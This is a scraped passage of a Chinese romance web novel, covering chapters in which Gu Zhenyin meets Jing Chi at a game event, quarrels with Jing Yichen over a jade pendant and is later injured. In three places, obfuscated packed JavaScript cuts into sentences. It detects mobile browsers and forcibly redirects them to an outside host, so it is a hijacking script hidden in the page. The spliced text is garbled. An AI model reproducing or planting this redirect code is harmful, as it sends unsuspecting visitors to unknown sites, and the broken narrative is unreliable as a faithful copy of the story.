当顾蓁音从补习班出来时,就看到景驰站在路边,冬天的北城路边,积着一层薄薄的雪,周遭色彩是单调的白黑灰,景驰穿了件驼色大衣,像是屹立在路边的一抹亮色,格外打眼,他身边却多了个陌生男人,似乎在和他热络地交谈什么,只是景驰态度很冷淡,目光始终锁定在补习班门口,没有什么回应。 他看到她走出补习班,抬步朝她走来,男人也跟着景驰过来。 直到景驰走到她身边,男人一转头,见到顾蓁音,眼前一亮又一亮:“帅哥,你女朋友外形条件也很好,要一起签我们公司吗?” 顾蓁音没反应过来:“什么?” 景驰却很愉悦地笑了,他朝顾蓁音扬了扬下颔:“他说他是星探,问你要不要考虑一下当明星?” 顾蓁音暂时没有心思纠结对方误会她和景驰是情侣,她当时第一时间只觉得这个人是骗子,装成星探来骗人,所以很警惕:“这是骗子吧?” 男人当场叫屈:“美女,我可是正儿八经的星探,这是我的工作证明,这些都是我挖掘的明星,你们可以看看。” 对方拿出工作证证明,证明他的确是星探。 当时顾蓁音还在追星,大致了解娱乐圈小有名气的公司,对方的公司也正好在其中,是顾蓁音听过的名字。 星探见顾蓁音半信半疑,继续趁热打铁:“怎么样?有没有兴趣成为艺人?” 星探看着他们俩,对两人的样貌格外满意,但却突然来了句:“不过成为艺人之后,你们私底下尽量少见面。” 景驰挑眉问:“为什么?” 星探疑惑道:“你们俩不是情侣吗?你们签了公司以后,成了我们公司的艺人,对外只能是单身人设,谈恋爱不能被人发现。” 景驰莫名揪住话中的重点:“不能谈恋爱?” 星探愣了下:“对。” “那不行,我这个人恋爱脑。”景驰态度很拽,他看向顾蓁音,“一天见不到我女朋友,就浑身难受。” 被当作挡箭牌的顾蓁音:“……” 当时星探的脸色可以用精彩纷呈来形容,顾蓁音只觉得他的脸上恨铁不成钢地写着四个大字——死恋爱脑。 但或许星探真的很喜欢景驰的脸,最后他还是递给景驰一张名片,有些恋恋不舍:“帅哥,如果你改变主意可以随时联系我,我保证,我绝对能让你在娱乐圈大红大紫!” 等星探离开,景驰漫不经心把玩着那一张薄薄的名片,随后将那张名片夹在他修长如玉的指间,他随手将那张名片一甩,名片在半空滑行,精准飞进垃圾桶。 顾蓁音见他把名片扔了,不由多问了句:“你不考虑一下吗?” “考虑什么?” 他掀起眼皮,优越精致的眉骨被阳光镀上一层淡淡阴翳,衬得他五官轮廓愈发凌厉立体,他的目光很直白地落在她脸上,嗓音轻轻慢慢。 “我不是说了吗?我恋爱脑,当不了一点。” 11. 投资 顾蓁音被晃过的摄像机拉回思绪,台上的主持人先感谢了这次活动的两大主办方,随后是d站的高管上台讲话,高管看起来文质彬彬,不过三十多岁的人,也保养得宜,但对比起景驰珠玉在前,显然就有些相形见绌了。 景驰上台时,观众席还是发出了极轻的骚动和吸气声,不少人拿出了拍摄设备,闪光灯闪动的频率似乎都要比平时急切很多。 虽然景驰很少出现在公众的视野里,但此时面对数量庞大的观众,他也依旧游刃有余。 站在台上的他身躯挺拔,休闲的西装将他的身形修饰得很好,却又还带保留着几分少见的少年感。 景驰只是简单介绍了游戏的过去,以及对未来技术的改进展望,并没有说太多冗长的发言。 很快到了提问环节。 星澜互娱成立至今,已经六年有余,但背后的最大股东兼创始人景驰,算是第一次正式出现在众人的视野里。 对于这个年仅24岁,就创立了数十亿游戏商业帝国的年轻人,大家显然是好奇更多。 所以提问环节,实在太多人想要跃跃欲试。 主持人随机点了个记者,记者站起来,语气很兴奋地提问:“小驰总,听说《星境乐园》的初版曾在上线前夕夭折,与投资方的对赌失败,您也为此支付了天价赔款,你从这件事上得到了什么?” 一上来就问了个有些尖锐的问题,但景驰神色如常,他施施然回答:“得到了教训。” “但能度过这次难关,我和我当时的团队经历很多,但也幸运,遇到了很多伯乐和贵人。” 他话锋一转:“除此之外,我要感谢一位很重要的人。” “在我本科大三时,我准备转型做手游,当时创业遇到了很多困难,因为出了些状况,当时的游戏项目在发布内测前,意外夭折,我的一个朋友以她家人的名义,偷偷给我投资了一百万。” 顾蓁音心脏狂跳一瞬,随即是无序的紧张,这件事,景驰居然知道,他什么时候知道的? 这个念头一冒出,顾蓁音有些懊恼,也是,景驰这么聪明,应该从一开始就已经猜到是她。 提问的记者似乎很关心这些个人私事,他继续追问:“这位天使投资人帮了您这么多,您不应该有所表示吗?例如以身相许。” 最后一句话引起大家戏谑的笑声,景驰的嘴角也噙着一抹松松懒懒的笑,他举起话筒,目光像是有实质般,穿越茫茫人潮,精准地落在顾蓁音的脸上,眼底是清浅的笑意。 “我正在努力,希望这位天使投资人在将来能给我一个以身相许的机会。” 景驰干净磁性的声音透过话筒传到会议厅的每处角落,景驰的音色清朗干净,像是被水汽浸润过,多了几分柔和,格外抓耳,他的语气戏谑带笑,让人一时分辨不出话语的真假。 台下的大家也传来暧昧善意的笑声,虽然景驰没有指名道姓,但顾蓁音心知肚明他说的人是谁,这些笑声落在她的耳中,多少带着些不一样的意思,将她的脸一点点染上热意。 宋悠可好奇:“老板,你的脸怎么这么红?” 顾蓁音拿起手边的宣传册,假意扇了扇风:“是吗?可能这里有点太闷了。” 眼见记者还要继续,顾蓁音真的有些坐立难安,她生怕再听到什么离谱的话,转头悄悄地对宋悠可说:“我去趟洗手间,顺便透透气,你和小纯在这儿待着。” 交代完毕,顾蓁音就悄无声息地离开会议厅。 洗手间内没有人,这里是走廊最尽头,隔绝了外界大部分声音,远离了喧嚣,她只能隐约听到淅沥掌声,潺潺水流划过她的指尖,顾蓁音垂眸,有些出神。 空气中浮动另一种清淡的柑橘草木香,很淡,却霸道地压制了洗手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾蓁音用她那双澄澈无暇的眼眸看着他,眸底没有掺杂一丝假意:“你现在不是没有输吗?” “是。”景驰意味深长,他势在必得地弯了弯唇。 “无论什么,只要我想,我会一直赢。” 12. 爱你(小修) 季淳和周于承进了专门准备的贵宾室,见到景驰正坐在沙发上,正低头看着手机。 季淳给景驰递过去一瓶水:“你上热搜了,知道吗?” 周于承感叹:“早知道景驰的脸这么能打,我们就应该多让景驰出来,游戏的话题度不就一下子有了吗?” “谁家游戏公司是靠营销老板的颜值起来的?”景驰拧开矿泉水,他掀起眼,语气有些倦懒,似乎情绪不高,“麻烦各位干点正事儿行不行?小心一会我通通发配你们到海外,开拓海外市场。” 不明情况的周于承问:“怎么了?因为热搜的事心情不好?” 干净的光线斜斜镀在景驰的手背上,衬得手指修长如玉,手背蜿蜒着淡色青筋,骨节分明,他漫不经心地把玩着矿泉水瓶,答道:“没有。” 季淳却一语道破:“我们驰心情不好,是因为开屏失败了吧。” 周于承开玩笑:“你在采访里说的那些是真的?人家如果真的帮了你这么多,那你真的应该以身相许了。” “我倒是想。”景驰的手指轻轻捏着矿泉水瓶,晃了晃,他抬眼,“那也得人家给这个机会才行,人家不喜欢我,就算我洗干净躺她床上都没用。” “怎么会不愿意?”季淳逐条分析,“愿意在你最困难的时候,偷偷投资你;以为你被家里断了生活费,还每个月偷偷打钱接济你,我觉得她对你很特别,她很可能喜欢你。” 景驰靠坐在椅子上,笑了:“那是你不了解她,无论是哪个朋友遇到这种情况,她都会这样做。” 因为顾蓁音本身就是很好的人。 他见过顾蓁音真正喜欢一个人的样子,自然不会自作多情把她的善良好意误认为是喜欢。 - 活动现场很热闹,人声鼎沸,可以看出这次的活动策划得很用心,游戏的易拉宝和宣传海报随处可见,甚至还有各种游戏周边抽奖,在活动现场飘扬,除此之外,有穿着Q版角色玩偶服的工作人员和大家互动,还有各种游戏角色的coser。 顾蓁音所在的区域是美食街,她被分配到一个摊位,供大家领取自己制作的点心。 顾蓁音和助理们把糯米糍和手绘饼干摆放整齐,因为顾蓁音在各个平台算是小有名气的博主,所以有不少人专门过来她的摊位,和她合照。 顾蓁音做的糯米糍和饼干味道很好,不到两个小时,准备的点心就已经所剩无几。 估计再过一会,就能全部派发完毕,所以顾蓁音包揽了看守摊位的工作,让两个助理去逛逛。 苏纯问顾蓁音:“老板,你不去逛逛吗?” 顾蓁音摆摆手,她最怕大太阳:“太阳太大,我不去。” 可能是这次活动的美食摊位比较多,大家的选择很多,到最后,顾蓁音始终剩余几个糯米糍和饼干没有派发出去,为了营造美食街的氛围,美食摊位设在露天,此时太阳有些毒辣,虽然摊位有遮阳伞,但遮挡太阳的效果收效甚微,顾蓁音只想赶紧把剩下的饼干和糯米糍全部送出去。 阳光下,有一群人正朝这边走来,顾蓁音辨认一下,从中看到了熟悉的身影。 景驰作为主办方之一,在d站的高管陪同下,亲自逛了整个活动现场,一群人簇拥着,缓缓向顾蓁音的摊位走来。 景驰停在她的摊位前,有工作人员介绍:“小驰总,这边是我们美食领域博主的摊位。” 景驰拿起顾蓁音摊位上的糯米糍:“这是我们的吉祥物oo?” 顾蓁音有些不好意思:“对,我没查到oo的原型是什么,只觉得很像糯米糍,就直接做成糯米糍了。” 景驰看了眼顾蓁音,她皮肤娇嫩,瓷白的小脸已经被晒得有些红。 他放下糯米糍:“挺有创意的,剩下的我可以全部给我项目组的团队工作人员尝尝,麻烦了。” 顾蓁音愣住了,他就这样把剩下的糯米糍包圆了? 早在一起住在老宅的时候,她也很喜欢在厨房做些好吃的,她本质是想做给景逸琛的,但景逸琛一般很少接受她的心意,所以大部分都景驰帮忙解决。 没想到现在也一样。 等她回过神来,景驰等人已经走远,但手机里却多出一条来自景驰的消息。 景驰:【要是想休息,可以去我的休息室待一会儿,我让我的助理带你过去。】 顾蓁音实在是热得有些难受,没有推脱:【好。】 片刻,就有个年轻男人出现在顾蓁音面前,顾蓁音粗略辨认出来,他刚刚也在景驰身边,应该是景驰说的助理。 “顾小姐,我是小驰总的助理,我带您去休息。” 他主动帮顾蓁音把摊位的东西收拾好,顾蓁音的摆摊任务正式结束,终于摆脱了毒辣的太阳,她在微信上和两个助理打了招呼,跟着助理前往景驰的休息室。 休息室内还有其他两人,感知到有人进来,他抬头看向顾蓁音。 助理和两人打招呼:“小季总,小周总。” 季淳和周于承有线上工作临时要处理,没有跟着去逛活动现场,当看到顾蓁音的第一眼,周于承有些瞳孔地震,他立刻和季淳暗中交流眼神,两人确定过眼神,他们都在景驰的工位上见过顾蓁音的照片。 季淳上次剐蹭了顾蓁音的车,自然认识顾蓁音,但上次走得比较急,没有和顾蓁音做详细的自我介绍,他这次总算是补上了:“顾小姐,上次比较匆忙,没有自我介绍,这次正式介绍一下,我是景驰的大学同学兼合伙人,季淳。” 话音刚落,一旁的周于承也站起身:“你好,我是周于承,一样也是景驰的大学同学兼合伙人。” 顾蓁音也礼尚往来地自我介绍:“你们好,我是景驰的发小,顾蓁音。” “只是发小啊……”周于承一脸好奇,“顾小姐,你和景驰从小就认识?” 顾蓁音:“差不多,我家和他家是世交。” 周于承和季淳一脸意味深长。 但景驰的四人工作群内,远远没有表面那么平静。 周于承:【景驰!】 周于承:【这个漂亮妹妹!我见过!你的工位上,放的是她的照片对不对!】 周于承:【有生之年,我居然能见到真人!】 四人群里,只有远在外地的许露织不明白情况:【你们在聊什么?】 周于承:【景驰的白月光,许师姐感兴趣吗?】 周于承:【特别漂亮!真的特别漂亮!不夸张!和我们驰配一脸!】 许露织:【景驰还真有白月光?那张照片我还以为他用来挡桃花的,居然是真的有这个人?】 周于承:【有,现在就和我们在一起,特别漂亮,人也很温柔,我们驰的眼光就是好。】 季淳:【而且这个漂亮妹妹,曾经还是我们的天使投资人。】 许露织:【这么精彩!我就不应该在日本出差,我应该和你们一起吃瓜。】 一群人直接在工作群八卦起来,完全不避着景驰这个当事人,景驰只是扫了眼聊天记录,就看向面前还在介绍的高管:“陈总,我还有事要忙,先失陪了。” 高管立刻道:“好的小驰总,您先忙,我晚上和其他友商朋友组了个局,您一定要到场。” 景驰笑了笑:“一定。” 景驰推开贵宾休息室的门时,季淳正在夸奖顾蓁音的手艺。 “顾小姐,你做的oo糯米糍很好吃,不过你是怎么想到是糯米糍的?” 顾蓁音有些不好意思:“对,我没查到oo的原型是什么,只觉得很像糯米糍,就直接做成糯米糍了。” “oo的原型其实我们也不太清楚。”季淳看向景驰,“oo是景驰设 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223101|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计的,这个问题,你得去问景驰。” “你没猜错。” 景驰斜倚在门边,他扬了扬下颔:“原型就是糯米糍。” 顾蓁音愣住了:“……这么随便的吗?” 就这样让她误打误撞猜对了?她完全怀疑景驰只是顺着她的话,在满嘴跑火车。 景驰笑了声:“可能我和糯米糍比较有缘分吧。” 景驰看了眼糯米糍:“为什么你做的内馅是绿茶?” 顾蓁音解释道:“因为我有个大粉,就叫绿茶糯米糍,我就顺手做了她名字的糯米糍。” 景驰有样学样地问:“这么随便的吗?” 顾蓁音:“……” 景驰像是被她的小表情逗笑,他问:“你晚上有安排吗?” 顾蓁音点头:“有,我晚上要请粉丝吃饭。” 这次活动,每个博主都有邀请粉丝参加活动的名额,顾蓁音在粉丝群抽了十个粉丝,报销机酒,邀请她们来参加活动,她也和这十个粉丝约定好,晚上请她们吃饭。 景驰“嗯”了声:“那晚上注意安全,有事找我。” - 顾蓁音回到安排的民宿酒店,洗澡化妆,换了一条芭蕾风连衣裙,顾蓁音向来精致,为了让整套穿搭最合适完美,她搭了珍珠项链,还搭了一双细跟玛丽珍。 两个助理熟悉自家老板的爱美天性,没多说什么,就一起前往预定好的餐厅。 顾蓁音很大方,请吃饭的地方是小镇上有名的高级餐厅,面对一群叽叽喳喳的小姑娘,她是有求必应,要什么点什么,十分豪气。 吃饭时每个人还要合照,顾蓁音很耐心地配合每个粉丝找角度合照,一顿饭在各种拍照聊天中,从下午五点吃到将近晚上八点半。 被请吃饭的粉丝拍了不少照片,发在顾蓁音的粉丝群里,引起不少没能来的粉丝羡慕嫉妒。 绿茶糯米糍显然也看到群里的照片了,发来消息问:【在和粉丝吃饭?】 流泪咖啡因:【对,如果你能来现场就好了,我今天准备了绿茶糯米糍,可以尝尝我做的你。】 说起来,她和绿茶糯米糍认识这么多年,但却从来没有机会见过面。 顾蓁音曾经提起过,什么时候可以线下见一面,她请她吃饭,但糯米糍那边的理由是她工作很忙,经常各个城市到处出差,时间不自由。 这个理由显然很站不住脚,但顾蓁音也没有勉强她的意思,也没有揭穿对方的借口,毕竟不是每个人都喜欢线下见面的,说不定糯米糍有些社恐,她可以理解。 所以顾蓁音只是提了一两次,就没有再说过线下见面的事。 绿茶糯米糍:【好好吃饭,别和我聊天了。】 顾蓁音以为绿茶糯米糍在不开心,她立刻对着她说好话。 流泪咖啡因:【放心,这么多粉丝里,我最爱的只有你,糯米糍老婆。】 流泪咖啡因:【猫猫比心·jpg】 对方的顶部一直显示“正在输入中”,这一行字不断消失,再重现,似乎删删改改好多次,糯米糍才发来消息。 绿茶糯米糍:【爱我就够了,叫我老婆就免了。】 在视频评论区下,糯米糍会跟着评论区里的其他粉丝叫她“老婆”,但在私聊的时候,糯米糍却会刻意回避这些比较亲密的称呼,对方好像不太喜欢这个称呼。 往常顾蓁音也会和糯米糍开玩笑,但现在看到这句话,她有一瞬间感到耳根泛红。 这句话说得多少有些过于暧昧了。 顾蓁音在心里默念三遍糯米糍是女孩子,才压制住心中那种奇奇怪怪的感觉。 顾蓁音正要打字回复,叮咚一声,另一人的消息弹出,是一个十万的转账,来自景驰。 景驰:【聚餐报销,晚上注意安全,有事给我打电话。】 13. 彩头(已补齐三千) 嘉桐镇是有名的商业古镇,晚上的夜生活也很热闹,各种小店酒吧招牌灯渐次亮起,水道纵横交错,河面上的乌篷船摇摇晃晃穿过石拱桥,游客们欢声笑语,夜游古镇,船夫手持细细竹竿缓慢划过,搅碎了一池弯月。 餐厅的位置很好,可以俯瞰古镇夜景,但在这个美好的晚上,粉丝中却有人临时接到了加班任务。 顾蓁音其中的一个粉丝沐沐恨不得将手机戳出一个洞来:“该死的领导,说我的方案颗粒度不行,让我在今晚零点前给他一版新方案,我现在要回酒店加班改方案。” 打工人的怨气此时已经达到了顶峰,大家好像也被感染了工伤,再也没了心情继续玩乐。 “我已经感同身受了,出来玩还要临时加班,晦气啊啊啊!” 顾蓁音结了账,善解人意道:“那我们下次有机会再聚,辛苦大家过来支持我。” 女孩子们七嘴八舌:“不辛苦不辛苦,能看到我们音音宝贝,我们很开心……” 果然女孩子是世界上最可爱的生物。 顾蓁音笑了,站在门口和每个人挥手告别,目送她们离开。 送走粉丝,顾蓁音身边只剩下宋悠可和苏纯两个助理,她看向两人:“我们也去逛逛纪念品吧,买些回去送朋友。” 两个助理也正有此意,三人沿着古镇两岸逛着,正好路过一家小酒馆时,顾蓁音被一道女声叫住。 “音音!” 顾蓁音转身,却看到一个长卷发女人哒哒哒地走过来,表情惊喜:“真的是你啊。” 顾蓁音这才看清来人:“Lena姐,好久不见,在这里见到你好巧。” Lena并不是顾蓁音的好友,而是景逸琛的同事,因为景逸琛的关系,她才和Lena认识,因为性格相投,顾蓁音在江城定居时,还偶尔和Lena出门逛街约饭。 Lena解释:“我们公司在这边团建呢,我一个人出来小酌一杯,刚好这个酒馆不错,我们一起去喝一杯聊聊天?” “好啊。”顾蓁音欣然应允,她刚好也逛累了,和人聊聊天也好。 Lena挽着顾蓁音的手,对两个助理说:“你们老板先借我用一下了。” 宋悠可和苏纯打算继续逛,也再三叮嘱顾蓁音:“老板,那你一个人注意安全,有事给我们打电话。” 因为两个助理的年纪比顾蓁音还大些,所以自然而然把顾蓁音当成妹妹看待,顾蓁音笑着说:“放心,我又不是小孩子了。” 在顾蓁音身边做助理就很好,工资待遇很合理,五险一金都有,只要做好分内事,剩余的时间都可以自由支配,顾蓁音脾气很好,并不是一个难相处要求多的人,所以给顾蓁音做助理简直是神仙工作。 顾蓁音跟着Lena进了酒馆,说是酒馆,但更像是有格调的咖啡馆,四处装潢都透着文艺感,连带着菜单名字也很文艺。 Lena点了杯鸡尾酒,顾蓁音随手点了杯粉色的无酒精饮料,在等待饮品上来的间隙,Lena双手交叠,和她聊起天:“我有段时间没有见过你了,最近是很忙吗?” 顾蓁音对这个姐姐很有好感,她笑着说:“没有,我只是搬回北城住了。” Lena被意料之外的答案震惊到:“啊,怎么突然?” Lena作为景逸琛的同事,她和顾蓁音打过好几次交道,对于顾蓁音和景逸琛的事情,大家都心知肚明,景逸琛有个世交小侄女,喜欢跟在他身后,明眼人都能看出顾蓁音对他的倾慕。 她迟疑道:“那你和景逸琛……” 面对Lena的欲言又止,顾蓁音却大大方方地承认:“就那样吧,我不打算继续了。” “真的?”Lena却像是立刻打开了话匣子,“最近景逸琛和他助理夏霜走得还挺近的……” 顾蓁音低头喝了口面前的无酒精饮料,清苦酸涩的味道在口腔弥漫而开,顾蓁音才发现,这杯粉粉嫩嫩的饮料是西柚汁气泡水。 她扫了眼菜单,发现这杯饮料的名字叫“暗恋”。 外边看起来粉嫩甜美,像冒着粉红泡泡,但内里却是酸涩,和“暗恋”这个名字无端契合。 顾蓁音咽下苦涩的味道:“嗯,随他吧。” "Lena." 男人低沉的声音寒如冰雪,有些熟悉,顾蓁音循声望去,只见景逸琛正站在酒馆楼上,不知站了多久,他的目光却沉沉地落在顾蓁音脸上。 Lena震惊:“你们怎么在这里?” 景逸琛声音淡淡:“他们说要找个地方喝酒玩牌,就来这儿了。” 顾蓁音不清楚景逸琛是否听到她刚刚说的话,但看他的神色,就知道他此时心情不好。 顾蓁音起身,打算和Lena告别:“Lena姐,既然你的同事在这儿,那我先走了。” Lena还来不及挽留,一道倩影也出现在景逸琛身边,夏霜像是刚刚才发现顾蓁音,声音柔柔的:“好巧,顾小姐也在呀,要不要一起来玩牌,正好我们这儿缺人。” 顾蓁音拒绝:“不了。” 顾蓁音没兴趣再参与和景逸琛相关的事情。 夏霜迟疑看向景逸琛,景逸琛却冷漠地转身离开:“不用管她。” 景逸琛的身影消失在视野里,顾蓁音听到楼上传来叫景逸琛玩牌的声音:“逸琛,上了牌桌,你得拿一样东西做彩头,输了牌就要把彩头送出去。” 景逸琛没有说话,但片刻,楼上却传来小声的惊呼:“逸琛,你确定要拿这个无事牌来做个彩头?” 景逸琛对面的男人语气夸张:“这看起来水头很好,高冰种满绿啊,这么好的无事牌,你舍得拿来当彩头?” 景逸琛的声音冷淡:“不值钱的玩意儿。” 男人是个识货的,这一块无事牌至少要小六价,怎么可能是不值钱的玩意儿? 但既然本人愿意,男人也笑嘻嘻地没有阻止:“景总大气。” 只是牌局还未开始,就被闯入楼上的顾蓁音径直打断。 她快步走近,看到放在牌桌上熟悉的无事牌,她的目光直直落在景逸琛身上,声音是抑制不住的颤抖。 “景逸琛,你拿我送你的无事牌当彩头?” - 这一块无事牌,是顾蓁音18岁时,送给景逸琛的生日礼物。 那一年顾蓁音刚在伦敦念大一,当时她学校举办圣诞舞会,顾蓁音软磨硬泡让景逸琛来看她,景逸琛还是来了,但在来伦敦的飞机上,他差点遇到飞机失事。 顾蓁音当时知道这件事时,很内疚也很后怕。 因此在景逸琛生日当天,她送出她一直放在身边的无事牌。 顾蓁音的无事牌,是她从小戴在身上的玉坠,因为顾蓁音五岁时生过一场重病,家里人特地给她戴了这一枚无事牌,寓意保佑她平安无事,这一枚无事牌,从她五岁起,就一直放在她身边,形影不离。 所以她送出这块无事牌时,格外珍之重之。 “这块无事牌是我从小带着身边的,你能不能别送给别人?”顾蓁音当时眼睛亮晶晶的,充满期待地看着他,“这是我专门送给你的,就算你不喜欢,你也不要送给别人,好不好?” 景逸琛明明知道,那块无事牌对她来说很特殊,但现在的他,却拿来当玩乐的赌注。 正如景驰所说,当她对景逸琛放下偏爱的滤镜,他也不过如此。 甚至,恶劣得不堪入目。 牌桌上的男人却看热闹不嫌事大:“顾小姐,既然这是你送给景总的东西,那景总应该有这块无事牌的处置权吧,如果实在想要,顾小姐也可以上场玩一局,赢了,无事牌归你。” 顾蓁音却恍若未闻,直直看着景逸琛:“你开个价,我把无事牌买回来。” 景逸琛却没理会顾蓁音,拿过那枚无事牌:“不做彩头了。” 他径直将无事牌递给夏霜:“送你了。” 夏霜受宠若惊,她看了眼顾蓁音, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223102|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坦然地伸手接过,柔柔道了声谢。 那枚无事牌就这样轻飘飘地送到夏霜手上。 顾蓁音朝夏霜走去,她语气很平静地重复道:“夏助理,无事牌,你开个价吧。” 夏霜像是被她吓到,声音细细柔柔的:“既然是顾小姐的东西,我也不可能夺人所爱,我现在就还给你……” 说着,夏霜拿出那枚无事牌,递给顾蓁音。 顾蓁音伸出手去拿,但无事牌却直直擦过顾蓁音的掌心,砸在坚硬的地面上,嗒地一声,完美无瑕的无事牌缺了一个小角。 顾蓁音垂着脑袋,目光静静地落在那块残缺破碎的无事牌上。 夏霜佯装惊慌失措:“抱歉,顾小姐,我不是故意的……” 顾蓁音只是沉默地伸手推开夏霜,蹲下身去捡摔坏的无事牌。 或许是顾蓁音力道太大,夏霜一时不察,直接被顾蓁音推倒,直直摔在地上。 景逸琛倏然站起身。 “景逸琛。” 顾蓁音突然叫了他一声,声音很轻,却很清晰。 她站起身,抬眼看向他:“你可以不喜欢我。” “但你能不能……”顾蓁音的声音有些哽咽,“能不能,不要一而再,再而三地践踏我的喜欢,践踏我的真心?” 明明只是一句很轻很轻的话,景逸琛心底像是被压上了千斤重的巨石,他顿住,沉默看向眼圈泛红的顾蓁音。 顾蓁音声音很低:“对不起,纠缠你这么久,是我的错,我为我的幼稚和不成熟向你道歉。” 她直视他,眼底却是灰蒙蒙一片,再也没有往日的光亮:“到此为止吧,我放过你,也放过我自己。” 顾蓁音话音落下,景逸琛的心底止不住地慌乱,他感觉,好像有什么东西在悄然离他而去。 “音——” 夏霜柔弱的嗓音兀自打断他的声音,她楚楚可怜,声线带上哭腔。 “景总,我好像扭伤脚了……” 景逸琛像是刚刚回过神来,发现了受伤的夏霜,他最终弯下身,将人扶起。 当他再抬眼,顾蓁音的身影已经消失在视野里。 - 古镇的夜晚依旧喧嚣,和路边闲适的游客相比,顾蓁音却走得很急,她不想再在那里多待一秒,她担心自己多待一秒,就忍不住吐出来,她脚步很乱,但青石板路凹凸不平,顾蓁音的细跟被绊住,她重心不稳,整个人摔了下去。 摔下去的瞬间,顾蓁音怀疑这是不是自己刚刚推了夏霜的报应。 她的手机吧嗒摔在青石砖上,屏幕瞬间粉碎成四分五裂的蜘蛛网状,顾蓁音颤抖着手,试图去解锁,但无论如何,手机屏幕还是黑的,没有任何反应。 她只感觉膝盖和掌心传来火辣辣的疼感,顾蓁音后知后觉,发现掌心和膝盖都受了伤,白皙的皮肤正汩汩冒着血珠,看起来触目惊心。 “哎呀妹妹,你流血了!” 一旁是一个糖水摊,摊主是一对小夫妻,年轻老板娘见顾蓁音摔倒,立刻上前扶她起身:“妹妹,你没事吧。” “没事,谢谢……” 顾蓁音慢半拍和人道谢,她的脑子钝钝的,但还记得摔坏的手机。 她拿手机出来查看,原本毫无动静的黑屏手机里,却意外传来景驰懒洋洋的带笑声音:“公主,打电话给我有事?” 顾蓁音反应过来,她的手机只是屏幕显示不了,但还能操作,她刚刚应该是误触了联系人,阴差阳错打给了景驰。 听到景驰的声音,顾蓁音堆积的情绪像是终于找到缺口,她的哭腔再也忍不住:“景驰……我摔伤了……” “别哭,音音,你现在在哪里?” 好心的老板娘接过电话,给电话那边的景驰报了地址,景驰道了谢。 手机重新回到顾蓁音手里,景驰叫了她一声,语气是前所未有的严肃。 “顾蓁音,在那儿待着别动,等我十分钟,我马上过去。” 14. 受伤 景驰来得很快,远远见到顾蓁音坐在糖水摊的小凳子上,往日精致爱美的她,此时却有些狼狈,眼圈微红,白皙干净的膝盖擦出一片血污。 景驰半蹲在顾蓁音面前,眉眼间似是染上一层淡淡的阴翳,他嗓音很低:“这是怎么了?” 摊主好心解答:“帅哥,刚刚这个小姑娘不小心摔了一跤,还把手机摔坏了。” 景驰了解了大概情况,对着摊位的付款码,给摊主扫了一笔钱,很礼貌:“刚刚多谢两位照顾她。” 摊主推辞了几句,不过是举手之劳,景驰的答谢却比他们一天的进账还多。 景驰重新走到顾蓁音面前,垂下眼观察她的伤口,确定没有伤得很重后,又问她:“手机坏了?给我看看。” 顾蓁音很听话地把手机递过去:“好像摔坏了,但我却能接到你的电话……” 他拿过顾蓁音的手机,左右翻看,最后拿出他的手机,对着她摔坏的手机拍了张照,他修长的手指抵在手机屏幕上,轻巧地敲击几下,似乎在给谁发消息,片刻,他重新将手机还给顾蓁音。 “先回去处理伤口。” 他转过身,示意顾蓁音趴上他的背。 “上来,我背你回去。” 顾蓁音盯着他宽阔挺拔的后背,犹豫一瞬,最后还是顺从地趴了上去。 他轻而易举地将顾蓁音背起来,景驰很高,趴在他的背上,只觉得视野所见都变得渺小起来。 顾蓁音轻轻地环住他的脖颈,她没有被父亲以外的异性背过,有点害怕,所以下意识往景驰的后背贴去,靠得近了,顾蓁音嗅到属于景驰身上的味道,他西装外套上除了他惯有新鲜清苦的柑橘调,还杂糅染上很淡的烟味,顾蓁音突然想起,他刚刚应该是在工作应酬,估计是接到她打过去的电话,才从饭局上下来找她。 顾蓁音心底泛起说不清道不明的奇怪情绪,她突然叫了声。 “景驰,我是不是……打扰到你应酬了?” 景驰却依旧是漫不经心的语调:“别想太多,我刚刚结束应酬。” “反倒是你,怎么把自己搞成这样?” 顾蓁音没想到话题回到自己身上,她偏过脸,闷声道:“只是摔了一跤……” 对于顾蓁音的话,景驰是半个字都不信,摔了一跤,按照她的性子,不至于这么崩溃,其中肯定有他不知道的原因。 但他也能大概猜到,这件事估计又和景逸琛有关。 去就近的药店买了些药,景驰一路将她背回她下榻的酒店。 景驰刷卡进了她的房间,将人放在沙发上,他洗了手,才蹲在顾蓁音面前,查看她的伤势。 好在伤得不算太深,只有掌心和膝盖有轻微的擦伤,正常冲洗伤口消毒上药就行。 景驰从袋子里找出生理盐水,他拉过顾蓁音的手,轻轻托着她,用生理盐水反复冲洗掌心的脏污血渍,液体冲刷伤处,顾蓁音疼得止不住往后缩,但却被景驰一把握住手指。 他低声道:“忍一忍,很快就好了。” 似乎为了安抚她的情绪,他的声音是意料之外的柔和。 顾蓁音怔愣一瞬,她没再挣扎,而是很配合地给他上药。 景驰笑了声:“很乖。” 生理盐水一点点冲洗掉伤处的灰尘,因为疼痛,她隐忍着哭腔,眼尾绯红未褪,眼眸水雾粼粼。 伤口冲洗干净,景驰拆了碘伏,用棉签涂上伤口。 顾蓁音坐在沙发上,垂着眼看着认真上药的景驰,从这个角度,她能看到他的眼睫拢下,在眼下皮肤投下淡淡阴影。 